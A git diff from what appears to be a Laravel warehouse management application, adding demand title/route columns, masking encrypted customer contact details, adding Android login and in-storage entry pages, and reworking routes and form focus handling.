+            $table->unique(["station_id","material_box_id","commodity_id"]);
         });
     }
 

+ 34 - 0
database/migrations/2021_07_08_133251_add_title_and_route_column_to_demands_table.php

@@ -0,0 +1,34 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+class AddTitleAndRouteColumnToDemandsTable extends Migration
+{
+    /**
+     * Run the migrations.
+     *
+     * @return void
+     */
+    public function up()
+    {
+        Schema::table('demands', function (Blueprint $table) {
+            $table->string('title')->nullable()->comment('网页标题');
+            $table->string('route')->nullable()->comment('当前网页路由');
+        });
+    }
+
+    /**
+     * Reverse the migrations.
+     *
+     * @return void
+     */
+    public function down()
+    {
+        Schema::table('demands', function (Blueprint $table) {
+            $table->dropColumn('title');
+            $table->dropColumn('route');
+        });
+    }
+}

BIN
public/app/was.apk


BIN
public/app/was_store.apk


+ 0 - 4
public/t.php

@@ -1,4 +0,0 @@
-<?php
-
-$a=[];
-var_dump(111);

+ 3 - 9
resources/views/customer/project/index.blade.php

@@ -56,7 +56,7 @@
         @endif
         <div>
             <table class="table table-sm text-nowrap table-striped table-hover td-min-width-80" id="table">
-                <tr v-for="(owner,i) in owners" :class="owner.id==id ? 'focusing' : ''"  @click="(selectTableRow(owner.id,$event)) && (id=owner.id)">
+                <tr v-for="(owner,i) in owners" :class="owner.id===id ? 'focusing' : ''"  @click="selectTableRow(owner.id)">
                     <td>
                         <label><input type="checkbox" :value="owner.id"></label>
                     </td>
@@ -177,14 +177,8 @@
                 }).init();
             },
             methods:{
-                selectTableRow(id,e){
-                    $('#headerParent tr[class=focusing]').removeClass('focusing')
-                    if (id === this.selectTr) {
-                        this.selectTr = '';
-                        return;
-                    }
-                    this.selectTr = id;
-                    $(e.target).parent('tr').addClass('focusing')
+                selectTableRow(id){
+                    this.id = id;
                 },
                 executeExport(isAll){
                     let url = '{{url('customer/project/index/export')}}';

+ 4 - 0
resources/views/demand/_createjs.blade.php

@@ -49,6 +49,8 @@
             },
             /** 创建 */
             createDemand() {
+                this.addDemand['route']=window.location.href;
+                this.addDemand['title']=document.title.replace('BsWAS','');
                 let url = '{{url('apiLocal/demand/store')}}';
                 window.tempTip.setIndex(1999);
                 window.tempTip.setDuration(3000);
@@ -57,6 +59,8 @@
                 let file = document.querySelector('#add-demand-file-create').files[0];
                 if(this.addDemand['authority_id'])formData.append('authority_id', this.addDemand['authority_id']);
                 if(this.addDemand['type'])formData.append('type', this.addDemand['type']);
+                if(this.addDemand['route'])formData.append('route', this.addDemand['route']);
+                if(this.addDemand['title'])formData.append('title', this.addDemand['title']);
                 if(this.addDemand['description'])formData.append('description', this.addDemand['description']);
                 if(file)formData.append('file', file);
 

+ 4 - 0
resources/views/demand/search/_table.blade.php

@@ -6,6 +6,8 @@
         <th rowspan="2">需求描述</th>
         <th rowspan="1">过程</th>
         <th rowspan="2">附件</th>
+        <th rowspan="2">路由</th>
+        <th rowspan="2">标题</th>
         <th rowspan="2">发起人</th>
         <th rowspan="2">处理人</th>
         <th rowspan="2">发起时间</th>
@@ -62,6 +64,8 @@
                     <button v-else type="button" class="btn btn-outline-secondary" @click="showUploadDiv(demand,i)">上传文件</button>
                 </div>
             </td>
+            <td>@{{ demand.route }}</td>
+            <td>@{{ demand.title }}</td>
             <td>@{{ demand.initiator ? demand.initiator.name : '' }}</td>
             <td>@{{ demand.handle ? demand.handle.name : '' }}</td>
             <td>@{{ demand.created_at }}</td>

+ 4 - 4
resources/views/demand/search/index.blade.php

@@ -3,10 +3,10 @@
 @section('title','需求')
 
 @section('content')
-    <nav id="nav2">
-        @component('demand.menu')@endcomponent
-        @component('demand.search.menu')@endcomponent
-    </nav>
+{{--    <nav id="nav2">--}}
+{{--        @component('demand.menu')@endcomponent--}}
+{{--        @component('demand.search.menu')@endcomponent--}}
+{{--    </nav>--}}
 
     <div class="container-fluid d-none" id="list">
         <div id="form_div"></div>

+ 1 - 1
resources/views/layouts/app.blade.php

@@ -27,7 +27,7 @@
     </nav>
     <div id="menu"></div>
 
-    @auth()
+    @auth
         @component('demand._create')@endcomponent
     @endauth
     @yield('content')

+ 5 - 8
resources/views/maintenance/role/index.blade.php

@@ -185,16 +185,13 @@
                     if (id==this.selectedRole)return;
                     this.selectedRole=id;
                     window.tempTip.postBasicRequest("{{url('maintenance/role/loadRelevance')}}",{id:id},res=>{
-                        if (res.authorities.length>0){
-                            let nodes = document.getElementById("authority").getElementsByTagName("INPUT");
-                            for (let i=0;i<nodes.length;i++){
-                                let checked = this._includes(res.authorities,nodes[i].value);
-                                if (nodes[i].checked!==checked)nodes[i].checked = checked;
-                            }
+                        let nodes = document.getElementById("authority").getElementsByTagName("INPUT");
+                        for (let i=0;i<nodes.length;i++){
+                            let checked = this._includes(res.authorities,nodes[i].value);
+                            if (nodes[i].checked!==checked)nodes[i].checked = checked;
                         }
                         this.check.owner = res.owners;
                         this.check.userWorkGroup = res.userWorkGroups;
-                        //$("#authority .up").slideDown();
                     });
                 },
                 _includes(arr,id){
@@ -266,4 +263,4 @@
             },
         });
     </script>
-@stop
+@stop

+ 9 - 4
resources/views/order/index/delivering.blade.php

@@ -80,15 +80,15 @@
                             <span v-else>@{{ order.soreference5 }}</span>
                         </td>
                         <td class="text-muted text-wrap text-letter">
-                            <div class="text-overflow-warp-200 warp-min-200">@{{ order.c_contact }}</div>
+                            <div class="text-overflow-warp-200 warp-min-200" :class="order.is_encryption ? 'text-danger' : ''"><span v-if="order.is_encryption">*加密*</span><span v-else>@{{ order.c_contact }}</span></div>
                         </td>
                         <td class="text-muted text-wrap text-letter">
-                            <div class="text-overflow-warp-200 warp-min-200">@{{ order.c_tel2?order.c_tel2:order.c_tel1 }}</div>
+                            <div class="text-overflow-warp-200 warp-min-200" :class="order.is_encryption ? 'text-danger' : ''"><span v-if="order.is_encryption">*加密*</span><span v-else>@{{ order.c_tel2?order.c_tel2:order.c_tel1 }}</span></div>
                         </td>
                         <td class="text-nowrap"><span> @{{ order.c_province }}</span></td>
                         <td class="text-nowrap"><span> @{{ order.c_city }}</span></td>
                         <td class="text-nowrap"><div class="text-overflow-warp-200 warp-min-200">@{{ order.c_district }}</div></td>
-                        <td class="text-muted text-wrap text-letter"><div class="text-overflow-warp-200 warp-min-200"><span>@{{ order.c_address1 }}</span></div></td>
+                        <td class="text-muted text-wrap text-letter"><div class="text-overflow-warp-200 warp-min-200" :class="order.is_encryption ? 'text-danger' : ''"><span v-if="order.is_encryption">*加密*</span><span v-else>@{{ order.c_address1 }}</span></div></td>
                         <td class="text-nowrap"><span>@{{ order.waveno }}</span></td>
                         <td class="text-nowrap"><span> @{{ order.warehouseid }}</span></td>
                         <td class="text-nowrap"><span v-if="order.edisendflag2=='Y'">是</span><span v-if="order.edisendflag2=='N'">否</span><span v-if="order.edisendflag2=='W'">错误</span></td>
@@ -274,6 +274,7 @@
                 upList:{},
             },
             mounted:function () {
+                this.initData();
                 $(".up").slideUp();
                 $(".tooltipTarget").tooltip({'trigger':'hover'});
                 $("#list").removeClass('d-none');
@@ -292,7 +293,6 @@
                         {name:'orderdate_start',type:'time',tip:['选择显示日期的起始时间','选择显示日期的起始时间'],
                             rules:{date_relevance:{date:['orderdate_start','orderdate_end'],relevance:'addtime',killing:'relevance',default:[31,92,183,366]}}},
                         {name:'orderno',type:'input',tip:'可支持多SO号,糊模查找需要在左边打上%符号',placeholder: 'SO号'},
-                        // {name:'carriername',type:'input',tip:'可支持多承运人,糊模查找需要在左边打上%符号',placeholder:'承运人'},
                         {name:'carriername',type:'select_multiple_select',tip:['输入关键词快速定位下拉列表,回车确定','选择要显示的承运人'],
                             placeholder:['承运人','定位或多选承运人'],data:this.logistics},
                         {name:['notes','addtime'],type:'input_select',tip:['右侧选择查询范围,默认为一月内','查询范围,范围越短搜索越快'],placeholder: ['备注',''],
@@ -385,6 +385,11 @@
                 }
             },
             methods:{
+                initData(){
+                    this.orders.forEach((order)=>{
+                        if (order.c_contact.length>50 && order.c_contact.substring(0,3)==='~Ag')order.is_encryption = true;
+                    });
+                },
                 getQueryVariable(variable){
                     let query = window.location.search.substring(1);
                     let vars = query.split("&");

+ 2 - 2
resources/views/personnel/discharge/task/_table.blade.php

@@ -110,10 +110,10 @@
                 <button class="btn btn-sm btn-outline-primary" @click="showExecutingTaskModal(index,true,dischargeTask)" v-show="dischargeTask.status===0">指定服务商</button>
                 @endcan
                 @can('人事管理-卸货-编辑')
-                    <button class="btn btn-sm btn-outline-primary" @click="showExecutingTaskModal(index,true,dischargeTask)" v-show="dischargeTask.status===1 && isPersonnel " >编辑服务商</button>
+                    <button class="btn btn-sm btn-outline-primary" @click="showExecutingTaskModal(index,true,dischargeTask)" v-show="dischargeTask.status===1 && isPersonnel === 'true' " >编辑服务商</button>
                 @endcan
                 @can('人事管理-卸货-编辑')
-                <button class="btn btn-sm btn-outline-primary" @click="showUpdateTaskModal(index,true,dischargeTask)" v-show="dischargeTask.status<=1 && !isPersonnel " >编辑</button>
+                <button class="btn btn-sm btn-outline-primary" @click="showUpdateTaskModal(index,true,dischargeTask)" v-show="dischargeTask.status<=1 && isPersonnel !=='true' " >编辑</button>
                 @endcan
                 @can('人事管理-卸货-删除')
                 <button class="btn btn-sm btn-outline-danger" @click="deleteTask(index,dischargeTask)">删除</button>

+ 2 - 2
resources/views/personnel/discharge/task/index.blade.php

@@ -106,8 +106,8 @@
                         placeholder: ['货主', '定位或多选货主'],
                         data: _this.owners
                     },
-                    {name: 'created_at_start', type: 'dateTime', tip: '创建开始日期'},
-                    {name: 'created_at_end', type: 'dateTime', tip: '创建结束日期'},
+                    {name: 'income_at_start', type: 'dateTime', tip: '预约开始日期'},
+                    {name: 'income_at_end', type: 'dateTime', tip: '预约结束日期'},
                     {name: 'numbers', type: 'input', tip: '可支持多入库单号,模糊搜索可在两侧增加百分号(%)进行',placeholder:'入库单号'},
                     {name: 'status', type: 'select', tip: '状态' , data: _this.status,placeholder:'状态'},
                     {name: 'income_remark', type: 'input', tip: '备注' , data: _this.status,placeholder:'备注'}

+ 30 - 0
resources/views/store/inStorage/androidIndex.blade.php

@@ -0,0 +1,30 @@
+<!DOCTYPE html>
+<html lang="{{ str_replace('_', '-', app()->getLocale()) }}" class="h-100">
+<head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <link rel="icon" href="{{asset('icon/faviconc.ico')}}" type="image/x-icon"/>
+    <!-- CSRF Token -->
+    <meta name="csrf-token" content="{{ csrf_token() }}">
+    <title>入库首页</title>
+    <link href="{{ mix('css/app.css') }}" rel="stylesheet">
+</head>
+<body class="h-100">
+<div class="container-fluid h-100 text-center">
+    <div class="container-fluid h-25">
+        <a class="navbar-brand" href="{{ url('/control/panel/menu') }}" title="宝时 Warehouse Assistance System" style="vertical-align: text-bottom">
+            <img src="{{asset('icon/logo100b.png')}}" alt="宝时 Warehouse Assistance System" height="30" >
+        </a>
+    </div>
+    <div class="text-center h-75">
+        <div class="w-100 center h-75 row align-items-center justify-content-center">
+            <div class="w-100">
+                <a href="{{url('store/inStorage/cacheRackStorage')}}"><button class="btn btn-info w-75 text-white" style="height: 60px"><h4>整箱入库</h4></button></a>
+                <a href="{{url('store/inStorage/halfChestStorage')}}"><button class="btn btn-info w-75 mt-3 text-white" style="height: 60px"><h4>半箱入库</h4></button></a>
+            </div>
+        </div>
+    </div>
+</div>
+<script src="{{ mix('js/app.js') }}"></script>
+</body>
+</html>

+ 74 - 25
resources/views/store/inStorage/cacheRackStorage.blade.php

@@ -2,43 +2,47 @@
 @section('title')缓存架入库-入库管理@endsection
 
 @section('content')
-    <div class="container-fluid" id="container">
+    <div class="container-fluid d-none" id="container">
         <div class="row">
             <div class="card offset-md-1 col-md-5 col-sm-12">
                 <div class="card-body">
-                    <div class="form-group text-center font-weight-bold h4">
+                    <div class="form-group text-center font-weight-bold h4 mt-2" id="header_title">
                         入库信息
                     </div>
                     <div class="form-group row">
                         <label for="asn" class="col-sm-2 col-3 text-right">ASN号:</label>
-                        <input type="text" class="form-control col-8" :class="errors.asn ? 'is-invalid' : ''" id="asn" v-model="info.asn" @blur="checkAsn()" placeholder="只需填写后几位,自动补充">
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.asn">
+                        <input type="text" class="form-control col-8" id="asn"  placeholder="只需填写后几位,自动补充"
+                               :class="errors.asn ? 'is-invalid' : ''" @keydown.enter="enterVal($event)" v-model="info.asn" @blur="checkAsn()">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.asn">
                             <strong>@{{ errors.asn[0] }}</strong>
                         </span>
                     </div>
                     <div class="form-group row">
                         <label for="ide" class="col-sm-2 col-3 text-right">料箱号:</label>
-                        <input type="text" class="form-control col-8" :class="errors.ide ? 'is-invalid' : ''" id="ide" v-model="info.ide" @blur="checkIde()" placeholder="只需填写后几位,自动补充">
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.ide">
+                        <input type="text" class="form-control col-8" id="ide" placeholder="只需填写后几位,自动补充"
+                               :class="errors.ide ? 'is-invalid' : ''" v-model="info.ide" @blur="checkIde()" @keydown.enter="enterVal($event)">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.ide">
                             <strong>@{{ errors.ide[0] }}</strong>
                         </span>
                     </div>
                     <div class="input-group row">
                         <label for="barCode" class="col-sm-2 col-3 text-right">条码:</label>
-                        <input type="text" class="form-control rounded col-sm-5 col-8 ml-sm-1 ml-2" :class="errors.barCode ? 'is-invalid' : ''" id="barCode" @blur="codeBlur()" @keydown.enter="checkInfo()" v-model="info.barCode">
+                        <input type="text" class="form-control rounded col-sm-5 col-8 ml-sm-1 ml-2" id="barCode"
+                               :class="errors.barCode ? 'is-invalid' : ''" v-model="info.barCode" @keydown.enter="enterVal($event)">
                         <div class="input-group-append mt-sm-0 mt-4">
                             <span class="input-group-text d-none d-sm-block">@数量</span>
                             <label for="amount" class="d-sm-none col-4 text-right">数量:</label>
                             <span class="input-group-text p-0 border-0">
-                                <input class="form-control" type="number" :class="errors.amount ? 'is-invalid' : ''" step="1" min="1" id="amount" v-model="info.amount">
+                                <input class="form-control" type="number" step="1" min="1" id="amount"
+                                       :class="errors.amount ? 'is-invalid' : ''" v-model="info.amount" @keydown.enter="enterVal($event)">
                             </span>
                         </div>
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.barCode">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.barCode">
                             <strong>@{{ errors.barCode[0] }}</strong>
                         </span>
                     </div>
                     <div class="input-group row mt-5">
-                        <button type="submit" class="btn btn-success offset-2 col-9" @click="checkInfo()">提交</button>
+                        <button type="submit" id="submit" class="btn btn-success offset-2 col-8" @click="checkInfo()">提交</button>
                     </div>
                 </div>
             </div>
@@ -46,7 +50,7 @@
                 <div class="card-body">
                     <div class="mt-1 text-center">
                         <button class="btn btn-primary" @click="submitBox()">为选中格口手动补充料箱</button>
-                        <button class="btn btn-sm btn-info text-white" @click="reverse()">反选</button>
+                        <button class="btn btn-sm btn-info text-white" @click="reverse()">全选/反选</button>
                     </div>
                     <div class="mt-2 h-75">
                         <div class="w-100 h-100 text-center" style="cursor: pointer">
@@ -96,17 +100,42 @@
                     asn:"",
                     ide:"",
                 },
+                focus:"",
                 errors:{},
                 shelfOccupy:{},
                 selectedBox:{},
+                element:[
+                    "asn","ide","barCode","amount","submit"
+                ],
+                oldInfo:{
+                    asn:"",
+                    barCode:""
+                },
             },
             mounted(){
+                if (navigator.userAgent.indexOf("Android")!==-1)this.isAndroid = true;
                 @foreach($storages as $storage)this.$set(this.shelfOccupy,"{{$storage->station->code}}",true);@endforeach
-                this.codeFocus();
-                this.globalClick();
+                //this.codeFocus();
+                //this.globalClick();
                 this.createBefore();
+                this.pageInit();
+                $("#container").removeClass("d-none");
             },
             methods:{
+                //页面初始化
+                pageInit(){
+                    if (!this.isAndroid)return;
+                    let element = document.getElementById("navbarSupportedContent").parentElement;
+                    element.className = "row";
+                    element.children[0].className += " col-5";
+                    element.innerHTML = element.children[0].outerHTML;
+                    document.getElementById("header_title").className += " col-5";
+                    element.append(document.getElementById("header_title"));
+                    let e1 = document.getElementById("menu");
+                    let e2 = document.getElementById("demand-div");
+                    if (e1)e1.remove();
+                    if (e2)e2.remove();
+                },
                 //选中填充料箱
                 fillingBox(ideCode){
                     this.$set(this.selectedBox,ideCode,this.selectedBox[ideCode] ? !this.selectedBox[ideCode] : true);
@@ -142,16 +171,6 @@
                     if (turn) window.addEventListener("click",this.codeFocus);
                     else window.removeEventListener("click",this.codeFocus);
                 },
-                codeBlur(){
-                    if (this.info.asn && this.info.ide && !this.info.amount){
-                        this.globalClick(false);
-                        window.tempTip.inputVal('请输入数量:',(amount)=>{
-                            this.$set(this.info,'amount',amount);
-                            if (this.info.asn && this.info.ide && this.info.barCode && this.info.amount)this.checkInfo();
-                            this.globalClick();
-                        });
-                    }
-                },
                 checkInfo(){
                     let error = {};
                     if (!this.info.asn)error.asn = ["ASN号必填"];
@@ -164,6 +183,10 @@
                     this._exeTask();
                 },
                 _exeTask(){
+                    if ((this.oldInfo.asn && this.oldInfo.asn!==this.info.asn)||(this.oldInfo.barCode && this.oldInfo.barCode!==this.info.barCode))
+                        this.info.available = undefined;
+                    this.oldInfo.asn=this.info.asn;
+                    this.oldInfo.barCode=this.info.barCode;
                     window.tempTip.postBasicRequest("{{url('store/inStorage/putShelf')}}",this.info,res=>{
                         if (!res.maximum){
                             window.tempTip.inputVal('商品首入,请输入预估最大可放入数:',(maximum)=>{
@@ -171,7 +194,26 @@
                                 window.tempTip.postBasicRequest("{{url('store/inStorage/setMaximum')}}",res,()=>{});
                             });
                         }
-                        this.info = {};
+                        if (this.info.available === undefined){
+                            window.tempTip.postBasicRequest("{{url('store/inStorage/checkAsnAmount')}}",this.info,res=>{
+                                if (res && res>0){
+                                    this.info.amount = '';
+                                    this.info.available = res;
+                                    document.getElementById("amount").focus();
+                                }else{
+                                    this.info = {};
+                                    document.getElementById("asn").focus();
+                                }
+                            });
+                        }else{
+                            if (this.info.available>0){
+                                this.info.amount = '';
+                                document.getElementById("amount").focus();
+                            }else{
+                                this.info = {};
+                                document.getElementById("asn").focus();
+                            }
+                        }
                         this.errors = {};
                         return "缓存架上架成功!";
                     });
@@ -206,7 +248,14 @@
                     ides.forEach((ideCode)=>{
                         this.$set(this.selectedBox,ideCode,this.selectedBox[ideCode] ? !this.selectedBox[ideCode] : true);
                     });
-                }
+                },
+                enterVal(e){
+                    let index = this.element.indexOf(e.target.id)+1;
+                    let element = document.getElementById(this.element[index]);
+                    if (element)element.focus();
+                    e.preventDefault();
+                    return false;
+                },
             },
         });
     </script>

+ 47 - 20
resources/views/store/inStorage/halfChestStorage.blade.php

@@ -1,47 +1,49 @@
 @extends('layouts.app')
-@section('title')缓存架入库-入库管理@endsection
+@section('title')缓存架入库-半箱入库@endsection
 
 @section('content')
-    <div class="container-fluid" id="container">
+    <div class="container-fluid d-none" id="container">
         <div class="row">
             <div class="card offset-md-3 col-md-6 col-sm-12">
                 <div class="card-body">
-                    <div class="form-group text-center">
+                    <div class="form-group text-center mt-2" id="header_title">
                         <span class="font-weight-bold h4">入库信息</span>
                         <a class="small" href="#" @click="openModal()">溢出减量</a>
                     </div>
                     <div class="form-group row">
                         <label for="asn" class="col-sm-2 col-3 text-right">ASN号:</label>
-                        <input type="text" class="form-control col-8" @change="downSign()" :class="errors.asn ? 'is-invalid' : ''" id="asn" v-model="info.asn" @blur="checkAsn()" placeholder="只需填写后几位,自动补充">
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.asn">
+                        <input type="text" class="form-control col-8" id="asn" placeholder="只需填写后几位,自动补充"
+                             @change="downSign()" :class="errors.asn ? 'is-invalid' : ''" @keydown.enter="enterVal($event)" v-model="info.asn" @blur="checkAsn()">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.asn">
                             <strong>@{{ errors.asn[0] }}</strong>
                         </span>
                     </div>
                     <div class="form-group row">
                         <label for="station" class="col-sm-2 col-3 text-right">库位:</label>
-                        <input type="text" class="form-control col-8" :class="errors.station ? 'is-invalid' : ''" id="station" v-model="info.station" @blur="checkMaximum()"
-                               placeholder="扫描货架条码">
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.station">
+                        <input type="text" class="form-control col-8" id="station" placeholder="扫描货架条码"
+                               :class="errors.station ? 'is-invalid' : ''" v-model="info.station" @blur="checkMaximum()" @keydown.enter="enterVal($event)">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.station">
                             <strong>@{{ errors.station[0] }}</strong>
                         </span>
                     </div>
                     <div class="form-group row">
                         <label for="barCode" class="col-sm-2 col-3 text-right">条码:</label>
-                        <input type="text" class="form-control col-8" @change="downSign()" :class="errors.barCode ? 'is-invalid' : ''" id="barCode" v-model="info.barCode" @blur="checkMaximum()" placeholder="扫描商品条码">
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.barCode">
+                        <input type="text" class="form-control col-8" id="barCode" placeholder="扫描商品条码"
+                               @change="downSign()" :class="errors.barCode ? 'is-invalid' : ''" v-model="info.barCode" @blur="checkMaximum()" @keydown.enter="enterVal($event)">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.barCode">
                             <strong>@{{ errors.barCode[0] }}</strong>
                         </span>
                     </div>
                     <div class="form-group row">
                         <label for="amount" class="col-sm-2 col-3 text-right">数量:</label>
-                        <input type="number" class="form-control col-8" :class="errors.amount ? 'is-invalid' : ''" id="amount" @blur="checkMaximum()" v-model="info.amount"
-                               :placeholder="info.maximum!==undefined ? '最大可上:'+info.maximum : ''" :max="info.maximum" step="1">
-                        <span class="invalid-feedback offset-2" role="alert" v-if="errors.amount">
+                        <input type="number" class="form-control col-8" id="amount"
+                               @keydown.enter="enterVal($event)" :class="errors.amount ? 'is-invalid' : ''" @blur="checkMaximum()" v-model="info.amount" :placeholder="info.maximum!==undefined ? '最大可上:'+info.maximum : ''" :max="info.maximum" step="1">
+                        <span class="invalid-feedback offset-3" role="alert" v-if="errors.amount">
                             <strong>@{{ errors.amount[0] }}</strong>
                         </span>
                     </div>
                     <div class="input-group row mt-5">
-                        <button type="submit" class="btn btn-success offset-2 col-9" @click="checkInfo()">提交</button>
+                        <button type="submit" id="submit" class="btn btn-success offset-2 col-8" @click="checkInfo()">提交</button>
                     </div>
                 </div>
             </div>
@@ -85,16 +87,34 @@
                 before:{
                     asn:"",
                 },
+                focus:"",
                 errors:{},
                 ov:{},//溢出减量数值
                 checkSign:false,
+                element:[
+                    "asn","station","barCode","amount","submit"
+                ],
             },
             mounted(){
-                this.codeFocus();
-                this.globalClick();
+                //this.codeFocus();
+                //this.globalClick();
                 this.createBefore();
+                this.pageInit();
+                $("#container").removeClass("d-none");
             },
             methods:{
+                //页面初始化
+                pageInit(){
+                    if (!this.isAndroid)return;
+                    let element = document.getElementById("navbarSupportedContent").parentElement;
+                    element.className = "row";
+                    element.children[0].className += " col-5";
+                    element.innerHTML = element.children[0].outerHTML;
+                    let e1 = document.getElementById("menu");
+                    let e2 = document.getElementById("demand-div");
+                    if (e1)e1.remove();
+                    if (e2)e2.remove();
+                },
                 //提交溢出减量
                 overflowRevision(){
                     if (!this.ov.station || !this.ov.amount){
@@ -139,7 +159,8 @@
                 },
                 _exeTask(){
                     window.tempTip.postBasicRequest("{{url('store/inStorage/acquireBox')}}",this.info,()=>{
-                        this.info = {};
+                        //this.info = {};
+                        this.info.amount = '';
                         this.errors = {};
                         return "上架成功!";
                     });
@@ -157,8 +178,7 @@
                     if(!this.info.asn)return;
                     let len = this.info.asn.length;
                     if (len<13)this.info.asn = this.before.asn.substr(0,13-len)+this.info.asn;
-                    if (!this.info.ide)document.getElementById("station").focus();
-                    if (!this.checkSign)this.checkMaximum();
+                    if (!this.checkSign)this.checkMaximum(e,'');
                 },
                 downSign(){
                     this.checkSign = false;
@@ -170,11 +190,18 @@
                         this.info.material_box_id = res.material_box_id;
                         this.info.material_box_model_id = res.material_box_model_id;
                         this.info.commodity_id = res.commodity_id;
-                        this.checkSign = true;
                         if(!this.info.amount)this.info.amount = res.maximum;
                         return "该库位最大可上数为"+res.maximum;
                     });
+                    this.checkSign = true;
                 },
+                enterVal(e){
+                    let index = this.element.indexOf(e.target.id)+1;
+                    let element = document.getElementById(this.element[index]);
+                    if (element)element.focus();
+                    e.preventDefault();
+                    return false;
+                }
             },
         });
     </script>

+ 93 - 0
resources/views/store/inStorage/login.blade.php

@@ -0,0 +1,93 @@
+@extends('layouts.app')
+
+@section('content')
+    <div class="container-fluid" id="list">
+        <div class="row justify-content-center">
+            <div class="col-md-12">
+                <div class="card">
+                    <div class="card-header">登录</div>
+                    <div class="card-body">
+                        <div class="row">
+                            <div class="col-md-6 text-md-right">
+                                <img src="{{asset('images/login/bg1.jpg')}}" alt="" class="img-fluid">
+                            </div>
+                            <div class="col-md-6"><form method="POST" action="{{ route('login') .'?rand='.microtime(true)}}">
+                                    @csrf
+                                    <label for="name" class="col-form-label text-md-right">用户名</label>
+                                    <div class="form-group row">
+                                        <div class="col-md-8">
+                                            <input id="name" type="text" class="form-control" :class="[errors.name?'is-invalid':'']"
+                                                   oninput="setTimeout(function(){vue.errors.name=''},10)"
+                                                   name="name" v-model="inputting.name" required autocomplete="name" autofocus>
+                                            <span class="invalid-feedback" v-if="errors.name">
+                                                <strong v-for="msg in errors.name">@{{ msg }}</strong>
+                                            </span>
+                                        </div>
+                                    </div>
+                                    <label for="password" class="col-form-label text-md-right">密码</label>
+                                    <div class="form-group row">
+                                        <div class="col-md-8">
+                                            <input id="password" type="password" class="form-control " :class="[errors.password?'is-invalid':'']"
+                                                   @keypress="passwordInput($event)"
+                                                   v-model="inputting.password" name="password" required autocomplete="current-password">
+
+                                            <span class="invalid-feedback" v-if="errors.password">
+                                                <strong v-for="msg in errors.password">@{{ msg }}</strong>
+                                            </span>
+                                        </div>
+                                    </div>
+                                    <div class="form-group row mb-0">
+                                        <div class="col-md-8">
+                                            <button type="button" class="btn btn-primary form-control" onclick="loginSubmit()">
+                                                登录
+                                            </button>
+                                        </div>
+                                    </div>
+                                </form>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+@endsection
+
+@section('lastScript')
+    <script>
+        let vue=new Vue({
+                el:"#list",
+                mounted:function(){
+                    let element = document.getElementById("navbarSupportedContent").parentElement;
+                    element.innerHTML = element.children[0].outerHTML;
+                    $('.invalid-feedback').addClass('d-block');
+                },
+                data:{
+                    inputting:{name:'',password:''},
+                    errors: {name:'',password:''},
+                },
+                methods:{
+                    passwordInput:function(e){
+                        setTimeout(function(){vue.errors.password=''},10);
+                        if(e.key==='Enter')loginSubmit()
+                    },
+                }
+            }
+        )
+        function loginSubmit() {
+            tempTip.setDuration(99999);
+            tempTip.waitingTip('提交中');
+            axios.post('{{url('store/inStorage/android.login')}}',vue.inputting).then(function (response) {
+                tempTip.setDuration(2000);
+                tempTip.cancelWaitingTip();
+                if(response.data.success!==true){
+                    if(response.data.errors){vue.errors=response.data.errors;return;}
+                    if(response.data.message){tempTip.show(response.data.message);return;}
+                }else window.location.href = response.data.url;
+            }).catch(function(r){
+                tempTip.setDuration(4000);
+                tempTip.waitingTip('网络错误:'+r);
+            })
+        }
+    </script>
+@endsection

+ 844 - 949
routes/web.php

@@ -13,984 +13,879 @@ use Illuminate\Support\Facades\Auth;
 | contains the "web" middleware group. Now create something great!
 |
 */
-
-Route::get('/', function () {
-    return redirect('login');
-});
-
-Route::any('test/{method}', 'TestController@method'); //测试
-
-/** 称重广播 */
-Route::post('package/weigh/measureMonitor/speech','MeasureMonitorController@speech');
-
+//auth组件的一些注册路由
 Auth::routes();
 
-Route::get('/home', 'HomeController@index')->name('home');
-Route::get('/homeTemp', 'HomeController@home');
-
-/** 密码 */
-Route::group(['prefix'=>'password'],function(){
-    Route::get('change', 'Auth\PasswordController@change');
-    Route::post('update', 'Auth\PasswordController@update');
-});
-
-/** 全局 */
-Route::get('denied',function (){return view('exception.authority');});
-Route::post('getMenu','MenuController@get');
-/** 基础设置 */
-Route::group(['prefix'=>'maintenance'],function(){
-    /** 菜单 */
-    Route::get('menu', 'MenuController@index');
-    Route::group(['prefix'=>"menu"],function (){
-        Route::post('update', 'MenuController@update');
-        Route::post('save', 'MenuController@save');
-        Route::post('sort', 'MenuController@sort');
-        Route::post('delete', 'MenuController@delete');
-    });
-
-    /** 权限 */
-    Route::get('authority', 'AuthorityController@index');
-    Route::group(['prefix'=>"authority"],function (){
-        Route::post('store', 'AuthorityController@store');
-        Route::post('update', 'AuthorityController@update');
-        Route::post('destroy', 'AuthorityController@destroy');
-    });
-    /** 权限 */
-    Route::get('role', 'AuthorityController@index');
-    Route::group(['prefix'=>"role"],function (){
-        Route::post('save', 'RoleController@save');
-        Route::post('loadRelevance', 'RoleController@loadRelevance');
-        Route::post('destroy', 'RoleController@destroy');
-        Route::post('saveAuthority', 'RoleController@saveAuthority');
-        Route::post('saveOwner', 'RoleController@saveOwner');
-        Route::post('saveUserWorkGroup', 'RoleController@saveUserWorkGroup');
-    });
-
-    /** 商品 */
-    Route::group(['prefix'=>'commodity'],function(){
-        /** 导出 */
-        Route::group(['prefix'=>'import'],function(){
-            Route::post('excel', 'CommodityController@importExcel');
-        });
-        Route::get('import', 'CommodityController@import');
-        Route::post('syncWMS','CommodityController@syncWMS');
-        Route::post('isExist','CommodityController@isExist');
-    });
-    /** 货主 */
-    Route::group(['prefix'=>'owner'],function (){
-        Route::post("get","OwnerController@get");
-        Route::post("apiStore","OwnerController@apiStore");
-        Route::get('recycle','OwnerController@recycle');
-        Route::post('restoreSelected', 'OwnerController@restoreSelected');
-    });
